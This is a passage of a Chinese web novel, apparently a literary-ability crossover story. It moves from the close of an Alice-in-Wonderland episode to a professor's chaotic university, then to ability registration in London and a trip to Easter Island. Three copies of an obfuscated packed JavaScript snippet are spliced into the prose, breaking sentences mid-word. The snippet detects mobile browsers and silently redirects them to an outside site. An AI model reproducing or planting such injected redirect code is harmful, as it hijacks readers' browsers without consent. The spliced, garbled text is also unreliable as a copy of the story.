“啊,我可以把那首曲子唱给你们听。”爱丽丝有些不好意思,“但我不确定能不能唱好……” “那就我我我来唱吧。一边走走一边唱,这样等我们唱唱唱完歌,就到可以烘干身上衣服与羽羽羽毛的地方了。”卡罗尔说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466860|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他像是以前一样拢着这三个孩子,让她们跟着自己。他则是费力地在水中前进着,同时唱着一首歌。 当然,并不是那首与《我已付出所有,毫无保留》有着相同曲调的歌。而是另外一首。 “晴朗的天空下,小船儿 如梦似幻地缓缓飘荡, 那是六月的傍晚。 “三个小孩依偎在身边, 眼神热切,侧耳倾听, 求我唱首简单的歌。” 卡罗尔唱得很慢,但在唱歌的时候他真的一点都不结巴。爱丽丝紧紧地抓着渡渡鸟的羽毛,在水中走着。罗丽娜轻轻地发出一声类似于难过的鸣叫。 伊迪丝也跟着轻轻地哼了起来: “晴空早已黯淡, 回音消隐,记忆远逝, 时间杀死了六月。 她的幻影仍萦绕我心, 爱丽丝行走在天地间, 清醒的人与她无缘。” 爱丽丝捂住了自己的嘴,她努力不让自己哭泣出声。吸蜜鹦鹉用脑袋蹭了蹭她的头发,用力地抱住她。 “孩子们等着听故事, 眼神热切,侧耳倾听, 欢喜地依偎过来。 她们身处奇境中, 日复一日地做着梦, 直到夏日已消逝。” 歌声轻轻地回荡在空空的世界里,就像是某天落日的余晖,或者黎明前鱼肚白的光芒,只存在于某个短暂而又弥足珍贵的时刻。 “顺着小河向下漂流, 徜徉于金色的光芒, 人生难道不是梦一场?” 等到最后一句唱完时,他们已经又来到了那个爱丽丝匆匆忙忙逃离的大厅门前。 “爱丽丝。” “嗯,卡罗尔先生……” “我们和爱丽丝,我是说那个在我们世界活过的爱丽丝也有这么一次出行。我们当时被一场雨击中了,浑身湿漉漉的,于是就这样唱着歌来到了小屋里,在火炉边烤了火。那真是一段非常美丽的回忆。” 真奇怪,这时候卡罗尔突然不结巴了。也许让他结结巴巴的从来都是他自己的心理问题,卡罗尔其实是个非常胆怯和容易自我怀疑的男人。 但这个时候他不能胆怯,他必须表现出成年人应该有的样子。 “听上去真好。” 曾经是女皇的爱丽丝小声说。 “但我们现在也有一次这样的旅行了。” 卡罗尔用翅膀摸了摸爱丽丝的脑袋:“这次的旅行同样也非常美好,我会永远记住的,爱丽丝。在我们短暂的生命中,它会光辉灿烂到最后一刻。” 爱丽丝用力地咬住嘴唇。 “我也不会忘记的。” 她说:“我永远记得,那天夕阳下骑士先生给我唱的歌,还有今天卡罗尔先生唱的歌,还有我们一起浑身湿漉漉地走到这里……” 罗丽娜没有说话。她使劲地看着爱丽丝,就像是在弥补过去的某些遗憾。 “你也是我的妹妹。” 她说:“笨蛋!你也是爱丽丝!我会永远记住我们之间的相处。哎呀,你真的太笨了,我真的放心不下你……” 说到这儿,这只骄傲的小吸蜜鹦鹉真的哭起来了。她用力地抱着身边的小鹰,小鹰也很难过地看着爱丽丝,就像是知道从今往后再也不会见面似的。 “姐姐。”她傻乎乎地说,“你们别哭了。” 爱丽丝没有哭。她努力不让自己哭出来,然后她推开门,独自走进了大厅。这一刻她比之前所有的时间加起来都更像是一个小女皇。 她走进来,看到夏章雾还有费奥多尔。 大人们正在等她。 夏章雾的手中拿着个外表和水晶球一样的音乐盒,他对那个眼圈红红的小女孩叹了口气。 “还有一点时间。”他说,“天还没有亮。” 其实这里的隔音效果并不怎么样,他们在外面说的话他全能听到。导致的结果就是夏章雾感觉自己就像是什么儿童漫画的终极反派,以至于有点轻微的手足无措。 但爱丽丝只是摇了摇头。她没说话,只是用力地露出微笑的表情,像是害怕自己一开口就再也控制不住哭声,就会哭得不像个样子。 于是夏章雾没有劝说。 他只是再次拿出手枪,然后对准手中这个孩子的玩具——或者说比起玩具更像是某种刑具的东西,扣下了扳机。 “咔哒”声。 很清脆的声音。 让眼前的一切都消失的声音。 眼前只有黎明前最后几分钟的夜晚,还有天边一线鱼肚白的光泽。 “你知道吗?在英格兰,孩子死亡后,人们会把她生前最喜欢的东西丢入墓中。其中有糖果、有珍贵的照片,也有生前的玩具。” 夏章雾眯着眼睛看了片刻的天空,然后突然这么说。 “这是人们对死者的祝愿。他们希望那些人能够在死亡的世界里享受永恒的幸福——而玩具就是为了幸福而制造出来的。” 费奥多尔安静地看着他。 他把手轻轻搭在了夏章雾的手上,没有说什么话。在距离黎明只有几分钟的时间里,只有夏章雾那仿佛自言自语的声音。 “所以它真正的身份其实不是玩具。或者说它不仅仅是玩具,对吗?”他说,“它其实也是一个陪葬品。” “你现在不应该想这个。” 创造这个世界的神明似乎叹了口气:“根据我的观察,你真的该好好地休息一会儿了,亲爱的主角先生。” “不过幸好我给你准备了充足的假期。” 它想了想,很乐观地说:“亲爱的主角哟,接下来就好好感受接下来几个月没有文学负面体的生活吧!我们可以干点开心的事——谈个恋爱怎么样?” …… 「名称:爱丽丝漫游仙境及镜中奇遇 塔罗象征:逆位女皇——停滞不前的迷失 怪物类型:陪葬玩具 现世形象:永恒往复的音乐盒 坟墓中的玩具寄托着对死后世界永恒快乐的希望,但当人类开始为了玩耍而玩耍时,在没有终点的游戏中,他们亦会迷失为玩具的一员。 那艘因为荣耀而长存的特修斯之船,现在到底还是那艘荣耀的船只吗? 那篇因为某个午后随口讲成的童话,现在还是那个让她听了会微笑起来的童话吗? 守则:为生命带来永恒的不死——也许对人类而言,永恒就是对自我最大的背叛。 解决方案:打破它,它只是个玩具。」 一只手挪动鼠标。 写着大纲的文档被作者轻巧地关闭。 故事到此为止,正式结束。 ——在三次元的世界里,从来都没有名为“永恒”的事故发生。 63.在故事发生前 “卡——夫——卡——” “诶卡夫卡你怎么死了——” 布利切斯特郡,布里切斯特大学。 某位知名不具的夏教授正满脸悲痛地扑在自己好哥们的“遗体”上,语气可以说是闻者伤心听者落泪。 “我真傻,真的。我单知道你是超越者,所以觉得你带着那群没用的小崽子做田野调查,顺便打死那些不知从哪里冒出来的异教徒、神话生物、未知物种也毫无问题。我不知道你竟打不过那些家伙。” 他抽抽噎噎地说:“不过我一看就知道,你的遗体竟然这么完整,生前遭遇的肯定是隔壁罗琳说的摄魂怪。放心吧,卡夫卡!我一定会为你报仇雪恨的——” “那个啥,教授。” 抬着担架的一位学生弱弱地说道:“这个世界上是没有摄魂怪的。” “是啊是啊。”另一位抬着担架的学生非常小声地说,“而且卡夫卡教授也没死。” 那情真意切的悲痛声音突然消失了。 “哦,原来没死啊。” 夏章雾淡定地直起身子,然后开始打量自己的那群傻子学生:“那你们怎么莫名其妙地把他抬到担架上面去了?” 该不会这群倒霉蛋觉得卡夫卡那家伙的代课水平差得令人发指,所以趁机给他使用了强效麻醉剂,打算把他带到校园墓地里埋了吧? 夏教授实事求是地这么猜想到。 “是这个样子的,夏教授。我们刚刚从田野考察活动中回来。” 一个没有抬担架的学生咳嗽一声:“在这次田野调查过程中,卡夫卡教授总共杀死了三只凯尔皮、一只洞穴蠕虫、五只幽灵狼,总计破坏两个小型异教徒邪恶仪式……” 听起来可以称得上一句丰功伟绩,非常符合某人超越者的身份。 “那难道是他一次性杀掉的神话生物太多,被濒危神话物种保护协会给发现了?” 夏章雾摸了摸下巴:“他现在正在装死以通过检查?” “也不是。”学生的表情看上去很尴尬,“事实上,我们捣毁的一个小型邪恶仪式就是濒危神话物种保护协会搞出来的。呃,它们的英国分部已经被捣毁了。” 听起来很不错,于是让卡夫卡就这么直挺挺地躺在这里的原因就更加扑朔迷离了。 “该不会是安托万闲得没事又想实验他家祖传催眠术吧?我记得那小子还想拿我做实验,结局是被我吊在赛文河谷的歪脖子树上,罚他想出一篇有关赛文河谷独特信仰文化来源的论文再滚回来。” 夏章雾又重新提出了新的可能性:“不过我记得他自从那件事后,就没有再试着对老师和同学用这个了。” “咳咳咳咳!教授,安托万自从那件事后就转专业到民俗学去了。”另一位陪在担架队旁边的倒霉学生不得不提醒道,“您没注意到这一点是因为我们和民俗学的专业课差不多。” “至于卡夫卡教授他……” 学生们面面相觑,似乎都变得更加尴尬了,似乎谁都不愿意直接说出卡夫卡教授突然昏过去的理由。 “他昏过去的原因超级简单好不好!” 只有太宰治最后说了句话。 他站在担架队边上,单手叉腰,眼睛已经变成了十分标准的死鱼眼: “笨蛋大叔,你能不能仔仔细细地看一下卡夫卡教授的脸吗?那个黑眼圈的存在感完全就没法让人忽略啊!” 其他的学生立刻给这个年龄还没有他们鞋码大的未成年投去了敬畏的目光:他们在布利切斯特大学待那么久,还是第一次看到校长之外的人能用这种语气和夏章雾说话。 “唔。” 夏章雾凝重地看着担架上卡夫卡的脸:“你们确定这是黑眼圈吗。我怎么感觉这像是他的眼睛被人打了两拳?” 事实上,卡夫卡脸上的黑眼圈实在是非常明显。但因为太明显了,实在是很难不让人怀疑这是通过物理手段形成的。 “只是发黑,没有淤青。” 织田作之助也凑过来看了看,发表了作为专业人士的评价:“应该并不是撞击造成的。” 夏章雾毫不尴尬地沉吟片刻。 “那肯定是因为那些家伙总喜欢在夜里袭击人类或者在夜里举办邪恶仪式。” 他很有经验地说道:“大概在整个田野考察的过程中,卡夫卡先生都没怎么睡觉吧。唉,他就是太容易紧张了,其实也没有必要把那群傻瓜全部活着带回来……” 在场的人类学学生默默地集体后退一步。更有经验的人已经开始在寻找有哪些逃跑路线和可以被自己出卖的同伴了。就连抬着担架的学生们也露出了想要跑路的表情。 “好可怕耶,大叔。” 太宰治无语地看着明显觉得自己说的话毫无问题的夏章雾:“带学生出去进行这么危险的活动,还不保证把人活着带回来。你们学院到底还有什么人能活下来啊?” 其他学生看向太宰治的目光似乎更敬畏了。 “我们学院的毕业率大概有13.6%吧。” 夏章雾随随便便地说:“一般来讲,四年后能活下来的都可以毕业。平均来讲八个里就能活一个多一点的人,死亡率也不算高。” 这下就连坂口安吾都有点欲言又止了。 “呃,不高吗?”他问。 “当然不高了。”夏章雾理所当然地说,然后看向了织田作之助,“你觉得这个死亡率高吗?” 织田作之助则是好好地想了会儿,把这个数据和自己记忆里杀手的年死亡率与杀手暗杀对象的年死亡率比较了一下。 “确实不算高。” 比较完成后,他很认真地说。 ——喂喂喂,这里是学校,不要把杀手行业的死亡率拿来比较啊! 坂口安吾的表情变得更加欲言又止了。 “如果我没有记错的话……” 他说话的声音都有点发虚:“勒托先生你是想要我们来这里上学的吧?” 难道他们未来要上的就是这种学生死亡率高达86.4%的学校? “是啊是啊,直接一步到位。” 夏章雾很愉快地说:“真是怀念,我到这里上大学的时候也差不多是安吾这个年龄。老妈她直接就把我踹过来了,大概是因为她觉得这是全英国最危险、最容易弄死我的地方……” “天啊。” 有个女学生悄悄地对自己的同学说:“我第一次知道夏教授的家庭关系这么复杂。” “然后呢?” “然后那几年,我们布利切斯特小镇连续蝉联了最安全小镇奖。主要是我那时比较年轻,总是喜欢搞大新闻,现在不这么干了——出门搞考察能带着部分学生回来就行,某些傻子我觉得直接喂怪物也挺好的啦。” 夏章雾露出相当阳光且爽朗的笑容:“一个月的工资六千英镑的工资玩什么命啊,哈哈——等等?” 他突然反应了过来。 似乎,好像。 之前那个说“然后呢”的人并不是自己的那些倒霉学生与倒霉收留对象。 夏教授沉默了那么一会儿,缓缓转头,于是就看到了一个站在自己身后,脸上挂着礼貌的标准微笑的俄罗斯人。 “往好的方面想一想,至少不是校长。” 画外音安慰道;“也不是你妈。否则今天你的金钱和身体总得有一个出问题。” 行吧。从这个角度来看,确实是这家伙出现在这里的结局比较好…… 夏章雾很不情不愿地承认了某个俄罗斯人的相对可靠性,虚着眼睛看向对方:“你不是去找校长他谈这几个孩子入学的事情了吗?怎么突然出现在了这里。” “已经完成了。校长在知道这几个孩子的异能后就同意了他们在这里读书。” 费奥多尔不动声色地扫了眼卡夫卡,很有礼貌地说:“这就是卡夫卡先生吗?他看上去像是劳累过度导致的昏厥。” “是啊,这家伙真的很逊。” 夏章雾嫌弃地啧啧了两下,用手戳了戳卡夫卡的脸:“只不过是帮我代了几个月的课,结果就成这样了。我在这里都任教四年了,从来都没有像他那么狼狈过。而且我还要坐火车在这里和伦敦两头跑,一次几小时的路程。” “听上去很辛苦。” “是啊,幸好火车费用可以报销。” 两个人就这样你一句我一句,很自然地丢下还在担架上的卡夫卡,走远了。 走了几步路,夏章雾这才想起来还有三个未成年人被自己丢在了校门口卡夫卡的担架边,于是随意地朝后摆了摆手。 “喂,你们几个,自己逛逛——” 他说:“别去学校禁区,也别去镇子里。有事情就报我名字。顺便你们也考虑一下自己到底打算选哪几门课!” 太宰治眼睛一亮,赶紧抬高声音问道: “所以有没有教怎么自杀的课啊,大叔!” “当然有,把我们专业的野外生存课注意事项全部都反过来做不就是自杀课程了吗?” “哇,那我要选人类学!织田作你也来嘛!” “嗯?” “喂喂喂,织田作你不要点头!不要什么事情都听太宰的,这个时候就应该狠狠地用麻袋把他给套住,把他嘴里塞纸,让他老老实实地去选英语课吧!” 说着说着,三个未成年也走了。 其他的学生目送着他们离去的身影。 “所以我们是不是应该主动和校长说,给夏教授稍微加点工资?” 其中一个学生愁眉苦脸地对舍友说:“现在他又回来了!可是我真的不想在下次田野考察时被狮鹫追杀的同时,教授还在狮鹫背上用力地嘲笑我们。真的很糟!” “这不就是交保护费吗?”他的舍友无奈地瞧着他,“而且我们的学长试过了,没用。” 学生群体一时间变得愁云惨淡、哀鸿遍野。 大家纷纷感慨自己趁课后时间研究各种非法召唤仪式的机会彻底消失了,然后各回各宿舍,打算在夏教授上课前突击背诵课本内容,免得被自家教授挂在学校或者赛文河谷的歪脖子树上。 抬卡夫卡教授的学生则是继续唉声叹气地抬着卡夫卡去学校医务室。 “太惨了,卡夫卡教授。”其中一位学生说,“本来他还好好的。就是一想到回到学校还有可能继续要给夏教授代课,就昏过去了。” “我完全能理解。”另一位学生深沉地叹了口气,“人之常情。” …… 另一边的夏章雾现在心情不错。 他不知道自己的学生现在都在想什么,也对同僚猝死,啊不对,昏迷的原因没什么兴趣,他甚至不怎么关心那三个未成年的课程选择。 他现在最在意的还是自己的假期。 整整三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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画外音咳嗽了两声,安慰道:“你也不要总是指望天上突然掉下来一笔财产吧?而且就算是你拿到了钱,你也能在一天之内把它们全部都丢到各种公益组织里去的。” 这话不假。 夏教授强迫着自己想了想接下来足足有三个月假期,终于还是释怀了。 毕竟假期这种东西可比英镑耐用得多。他在假期里能干的事情也比区区几万英镑能做的要多得多。而且他在离开剑桥前,还答应了罗丽娜和伊迪丝,未来有机会要去她们那里玩。 陪小女孩需要的是时间,而不是英镑——这个道理就算是夏章雾也能搞得明白。 “首先,把这里的事情解决了!其次,趁这个机会先去复活节岛!” 夏章雾坚定不移地握拳:“我要度假!校长要是不给批假条的话,我就说我要带着学生们去复活节岛做实地人类学考察!” “这个啊。” 费奥多尔似乎突然想起来了什么,于是慢悠悠地说道:“好像暂时是不行的。” 夏章雾顿时看向他:“诶?” “因为英国有政策,所有异能者都必须在钟塔侍从进行异能登记,才能自由出行。当时我们属于女王特批的特殊情况。” 俄罗斯人作为异能者,在这方面有关知道的内容自然比夏章雾这个成为异能者时间还没有满半年的人多。 他耐心地解释:“不过其实通常情况下,全世界的异能者在钟塔侍从都有备案,也不用麻烦异能者主动上门进行登记。所以绝大多数人都不知道这个条例。” “那我呢?” 夏章雾嘴角扯了扯:“怎么听你的意思,我还得专门做一个登记?” “准确的说,是您和太宰先生都需要。” 费奥多尔说。 他的声音里似乎带上了几分笑意:“您不是一直想知道阿尔贝蒂娜陛下为什么知道我们上次面对的麻烦属于OOL吗?其实原因是相同的。” “阿尔贝蒂娜继承了英王室的特殊异能。具体的名字我不知道,但它的效果很简单。” 来自俄罗斯的侦探先生露出稍微有些回忆的表情:“能够查阅和理解至今以来人类所知晓的全部知识与信息——她拥有的就是这样可怕的异能力。但它也有无法触及的事物,比如OOL、太宰先生这样反异能的异能者、还有……” 夏章雾指了指自己。 “我?”他说。 一时间,夏章雾都不知道该惊讶于那位小女王竟然拥有这样可怕的异能力,还是该惊讶于自己竟然在她异能的笼罩范围之外。 “因为我们的故事是秘密。” 作者在他耳边发出笑嘻嘻的声音:“所以才不能随随便便就让书里面的角色知道。我可是超级神出鬼没的——放在爱丽丝漫游仙境的故事里的话,我就是那只柴郡猫哟。” 柴郡猫。 夏章雾扯了扯嘴角。他一瞬间就被这个之前读者评论区总是提到的名字拉回到了之前文学负面体事件的记忆里。 按照读者的说法,那是一只神出鬼没、指导着主人公前进的、总是在微笑的猫。不过他从都到位都没见过对方。 真要说的话…… 这个角色怎么看都是读者更适合吧?不要给自己随随便便脸上贴金啊,混蛋作者! 64.书中已经描述了 伦敦,钟塔侍从办事部,仿佛已经有十几年都没有启用过的异能登记中心。 夏章雾正在等候室外百无聊赖地翻阅着笔记本,时不时打一个哈欠,思考里面的太宰治到底什么时候才能测验完自己的异能,以及这么久都没有出来是不是因为被钟塔侍从抓去解剖了。 某个俄罗斯人现在不在他的身边,这倒是真的很难得。他去找阿尔贝蒂娜女王了,也不知道那两个都认识他的家伙到底都在聊什么。 嗯……总不可能都是在聊他吧? 夏章雾非常乐观地这么想。他觉得掌握了人类流传至今的所有知识与信息的女王陛下和某位俄罗斯人还是可以有很多其他话题去聊的。 至于他自己…… 就继续看看读者的评论,打发时间好了。 夏章雾再次打了个哈欠,然后继续低头看读者们之前给他的留言。 然后他就被来自读者的评论给狠狠地创了一下。 「林夜: zw你到底做了什么把费佳迷成这样?你们俩该不会在我们还不知道的过去里已经参与黄色内容了吧?」 “喂喂喂,虽然我们是好久不见了,但林夜你能不能别一见面就给我造谣!这种事情怎么想都不可能发生的吧!” 夏章雾发出大声的吐槽:“而且你有没有考虑过,我们以前其实也有可能是恨不得把彼此脑子打出来的可能性啊!现在他或许是在趁我不记得那档子事的机会,用花言巧语来蒙骗我!” “哇,这设定听上去还挺有趣的。” 作者突然若有所思地开口:“就是这样写的话,结局不太好收场。总觉得你会在搞清楚到底发生了什么事的情况下,和他直接爆了。” “我现在就想和你爆了,谢谢。” 夏章雾没好气地说。 他继续往下看,结果难得看到了一个不太眼熟的新名字。 「伊西斯: 哎,本章最后说三次元的世界里,从来没有名为“永恒”的事故发生。《冰雪女王》的最后加伊和格尔达两个人恰巧拼成了“永恒”的图案。」 冰雪女王? 夏章雾的目光在这个书名号内容上停留了几秒。他现在不会放过任何读者口中提到的书名,也不觉得读者会莫名提起哪本书。 “这就是我的下个任务目标?”他问。 “嗯呐。”作者也没隐瞒,“卷名都写好了。” 不过他要去解决文学负面体,那也得是三个月后的事情了。夏章雾只是记下了名字,然后继续翻阅着纸页。 笑话、吐槽、感慨……读者这些日子在评论区里还是那么热闹。虽然他也不懂这些小家伙到底都在热闹些什么。 夏章雾面不改色地翻到下一页。 然后他再次被狠狠地创到了。 「桉莉斯: “不动声色”。怎么不直接打量呐?因为被说“让人想起了一个朋友”……等一下,这个要是放在古早剧本里面—— 白月光:尽心力帮账务带了俩月实践并把所有学生给带回来的卡夫卡。 替身:钱多多智多多很有"格调"的费德亚。 甚至替身的名字不被男主记住也吻合了!」 看完后,夏章雾突然产生了一种想要把爱丽丝的脑袋撬开来的冲动。 你们是不是英国人啊!你们是不是全都是英国人啊!你们脑子里怎么全都是一些无聊的男同性恋笑话! 他恶狠狠地合上书,决定先不理会这些喜欢看热闹的家伙。 “喂喂喂,快把骑士长喊来!” 就在此时,异能登记中心的一个负责人也汗流浃背地跑了出来,对守卫喊道:“这孩子的异能好像对超越者也有影响!但是我们需要测试更强的超越者来确定这一点,柯南·道尔这个超越者之耻还是不太行……” “超越者之耻这种说法是不是太过分了?” 因为缺研究经费而出现在这里当测试工具的某位伦敦侦探打开门。 他发出抗议的声音:“虽然我承认这个异能的确只是给我的侦探生涯做出了相当微不足道的贡献,但是它对于世界底层逻辑的影响是具有非常巨大意义的——” “呵呵,感觉不如道格拉斯用异能凭空捏出的无限不可能引擎。” 夏章雾斜着眼睛瞧他:“只能说他幸好不太喜欢用自己的异能,否则迟早会把整个地球变成一只喵喵叫的小猫咪。” 虽然柯南·道尔的异能力从某种意义上也同样离谱,但它的性质更像一扇有密码的门。不像是道格拉斯那种,可以把毁灭世界的东西进行儿童节玩具大甩卖。 “是吗?但这种异能更适合我。我可不希望谁都能轻而易举地利用我的异能。” 柯南·道尔看了眼夏章雾,的语气突然轻快了起来:“顺便一提,你们喊克里斯蒂过来时请顺便让她泡杯咖啡。不加糖,谢谢。” 他把门又重新关上了,大概是在和太宰治持续性地斗智斗勇。 不用想都知道,太宰治肯定在追着这位侦探询问有关人与人生的终极哲学问题。可惜那位名侦探的异能在面对他时没用,没法通过作弊的方式直接得到解答。 夏章雾以看热闹的心态“啧”了声,换了个姿势坐着,继续读笔记本。 得益于某位名侦探,现在他的火气消下去了不少,心态一时间重新平和了下来。 现在他就算是看到评论区有一群人正在高高兴兴地欢呼“乐子”,他也不怎么生气了。毕竟至少还有读者在给他打包票会支持他的。比如说巫渺,就很可爱嘛。 当然,也有的读者只是在恶意卖萌。 比如爱丽丝,爱丽丝,爱丽丝。 「桉莉斯: 为什么乌鸦不像写字台——(眼巴巴)」 夏章雾深深地叹了口气。 “话说这个问题应该问的不是我吧。问题还是那家伙提出来的。” 他撑着下巴,对作者说道:“下次我找一个他和读者都在的时间去问问好了,我可没闲到去做读者和那家伙间的传话筒。” “好哦,有时间我提醒你。” 作者笑眯眯地说:“还有,阿加莎要来了。” 夏章雾坐直身子,看向走廊。 “哇哦。”他说。 “真麻烦。我就知道道尔那家伙不靠谱。” 走廊尽头,阿加莎女士不满的嘀嘀咕咕声传了过来:“真的好想在他的咖啡杯里下毒——可恶,要不是他肯定能看出来,我绝对会这么做!竟然让我抽出时间给他泡咖啡。他怎么不抽出时间给我解决公务!” 这位还差一点成年的小姑娘气鼓鼓地拿着咖啡杯,以杀气腾腾的姿势走到门前,鞋子踩得地板“啪嗒啪嗒”响,就像是脚下踩的是柯南·道尔爵士的脑袋一样。 夏章雾眨眨眼睛。 他看了看阿加莎脸上的黑眼圈,非常快速地判断出了对方出于加班熬夜导致的暴躁状态。 于是他非常果断地合上了笔记本,努力在角落压缩起自己的存在感,以求能让这位生气的骑士长到时候能把全部的怒火都倾泻在某位伦敦的侦探先生身上。 而阿加莎也确实没有看他。 她气势汹汹地用脚踢开门,把平时在外面伪装的淑女风范丢到了九霄云外,然后把咖啡杯重重地往桌子上一放。 “让我来测试!” 阿克里斯蒂女士直接拽住某只大惊失色的侦探的衣领,毫不客气地把人往外面一丢:“下次表现得再这么没用,我就把你下半年能申请的经费总额消减到一百英镑!” 于是柯南·道尔就这么被自己的顶头上司给扔了出去。被扔走的侦探先生揉了揉自己被衣领勒得生疼的脖子,露出相当无奈的表情。 “这家伙……是被公务折磨疯了吗?” 他吐槽道,然后毫不客气地坐在了夏章雾的身边,用一双死鱼眼瞪着被关上的门:“不就是让她帮忙泡一杯咖啡,至于这么生气吗?” 夏章雾也觉得今天阿加莎·克里斯蒂小姐的心情确实算不上有多好。 要是放在平时,她顶多会冷着脸端着杯咖啡过来,然后用文件拍到柯南·道尔的脸上,让这家伙飞快地滚回办公室里处理公务。 “有可能是因为最近的工作量比较大吧?” 他放下笔记本,毫无责任心地揣测道:“上次的OL事件结束后,你们应该还有收尾工作需要解决。再加上现在欧陆的局势也很紧张,让她工作压力太大了?不过也有可能是女人每个月都会脾气暴躁的那几天到了……” 柯南·道尔也认真地思考了片刻。 “我也觉得这个比较有可能。” 他非常自信地说:“总不可能是因为我在办公室里表演蒙眼射击,结果子弹直接擦着她的马尾飞过去导致的吧?” “……” 夏章雾扭过头,默默地看了他一会儿。 “不是。”他忍不住说,“你这个枪法精准度还不如我零头的家伙,到底是怎么敢在办公室里面表演蒙眼射击的?万一直接一击毙命了,就算是你们钟塔侍从的异能者也救不回来吧?” 柯南·道尔的目光显而易见地飘移了一下。 “我的射击技巧也不至于那么差,而且我还是可以做到听声辩位的。” 他说:“而且以后要是你不继续去当我的助手,我也总得学会怎么用枪吧?毕竟我的异能又不是用来战斗的。” “你会听声辨位,那你是怎么差点击中阿加莎的?”夏章雾无语地看过去,“你总不会是故意的吧,想着一枪打中你家顶头上司,然后冲上去英雄救美,然后阿加莎感激涕零,特批你十万英镑的经费?” “你这想的也太美了。而且我差点打中她纯粹是因为她走路没声。” 柯南·道尔鄙夷地回视一眼:“你不知道,她简直就和幽灵一样,总是会突如其来地出现在某个地方,用让人不安的眼神幽幽地看你——” “呵呵。” 轻飘飘的少女声音传来。 柯南·道尔立刻就闭上了嘴,在夏章雾明显是在看好戏的眼神下缓缓地转过身子,朝身后站着的某位淑女露出尴尬又不失礼貌的笑容。 阿加莎·克里斯蒂斯用手指缠绕着垂落在肩膀上的金色卷发,脸上带着若有若无的笑。 “像是幽灵?”她说。 柯南·道尔后退一步:“呃……” “让人不安?”她往前走一步,继续似笑非笑地说道。 柯南·道尔汗流浃背地继续后退,有一种自己接下来的经费全部都要不翼而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他拖着下巴说,然后突然兴奋起来:“对了对了!大叔要不要用我的异能做个测试,我的异能测定结果才出来——我想看看大叔能不能在我用异能的时候还能做出预言!” 夏章雾对太宰治耸了耸肩。 “不能。”他说,“我猜。” 他其实也没有隐瞒自己特殊之处的意思,否则就不会当初在飞机上就把作者的事情说给那个俄罗斯混蛋听。现在过来登记一个异能也当然无所谓。 “填一下表格,然后就可以走了。” 阿加莎说。她从抽屉里拿出一张表格,连着钢笔一起推给了夏章雾:“女王陛下为你做出了特别安排,你不用检测异能的具体信息。” 夏章雾愣了一下。 他看了眼太宰治:“就这样?那我岂不是随便填点什么东西都可以?” 太宰治用圆溜溜的鸢色眼睛看他,显然对自己没法用光明正大的手段试探夏章雾的预言能力失望极了,很快就变成了郁闷的栗子小河豚。 可怜的未成年,第一次见证了大人社会的人情交易与阴险狡诈。 夏教授看了看,没忍住,于是用力地揪了一把这小崽子的脸,然后才开始填表格。 异能效果……这个怎么编?算了,直接写上可以通过来自世界外的信息解读出预言吧。反正也算不上说谎。 异能条件?嗯,就写:需要一本书作为呈现媒介,预言也只会出现在书上。 其实这一点限制还挺麻烦的,幸好现在作者已经知错就改,把他异能绑定的书变成了不损不灭、随时能一键召唤的东西。 还有些别的指标,夏章雾也一一填上去。直到最后,他才看向唯一没有写的内容。 异能名。 “你打算给它取什么名?”作者问。 这个嘛…… 夏章雾想:自己这样拯救世界的角色未来绝对会进入历史文献。所以为了不让未来的那些倒霉学生和倒霉考古学家在记名字时感觉到头痛,也为了自己的格调,绝对要取个言简意赅、不明所以、发人深思的名字。 卡夫卡的“城堡”就不错,道格拉斯的“银河系搭车客指南”除了太长也相当有魅力,阿加莎的“无人生还”就更帅了。 相比起来,太宰治的“人间失格”或者安吾的“堕落论”就明显不太行——看上去非常像是非主流青年中二病时期的产物,简直可以去当异能界的反面教材。 所以…… 夏章雾满脸严肃,在表格上认真地写上了这个未来会伴随自己一生的名字。 异能名,书。 “好啦!” 结束了苦思冥想的夏教授把填好的表格往前面一推,伸了个懒腰,发出愉快的欢呼,似乎思绪已经飘到了该如何度过复活节岛上的夏至。 “这下终于可以去复活节岛度假了,那时我就把那群傻瓜学生往复活节岛上随便一放生,自己去搞研究。完美,太完美了!” 他看了看太宰治,然后用力搓了下这只未成年幼崽的脑袋:“当然喽,这里可没你的事。你给我在布利切斯特好好上学,懂?” “哦。” 太宰治用郁闷的目光看着他:“那这里面有费奥多尔先生的事情吗?” “我帮他订了票。” 夏章雾沉思片刻,最后理直气壮地说:“毕竟就算是我打算自己一个人跑,他也肯定会和我坐同一班飞机。更何况这样我还能顺理成章地让他报销一下飞机钱和住宿费。” 没错,就是这个原因。 ——可以报销的未来,真是光辉灿烂啊。 65.被火焰焚烧的 碧蓝的天空,碧蓝的大海。 荒凉但拥有着许多游客的复活节岛,贫瘠的土地,还有靠石头来提供肥力的农田。 等等,这个可怜的面积用农田来描述似乎不是很合适。那么……花园?或者花坛? 总之,夏章雾就坐在那附近的石头上,很认真地和自己的同行们打着电话。 “喂?你们对复活节岛的岩石调查结果怎么样了?”他问道,“我现在就在这里。我记得你们上次还是打算通过这种方式来测定这里岩石花园的总体面积分部的?” “嗯,没错。我们都觉得这座岛屿广为流传的生态灭绝说有问题。实际上我更倾向于这里本土居民在殖民者到来前依旧能够维持相对自给自足的生活。” 似乎对方在电话那头说了写什么,夏章雾赞同地点了点头。 “比起生态学上的反例,拉帕伊努文明更像一个人类族群对生态环境的动态适应的有趣案例。尤其是在这种封闭环境下,人类的行动会导致生态上的大幅度变化。可惜,这里的原住民文化基本断绝了,否则我们应该能找到更有力的资料作为支撑。” 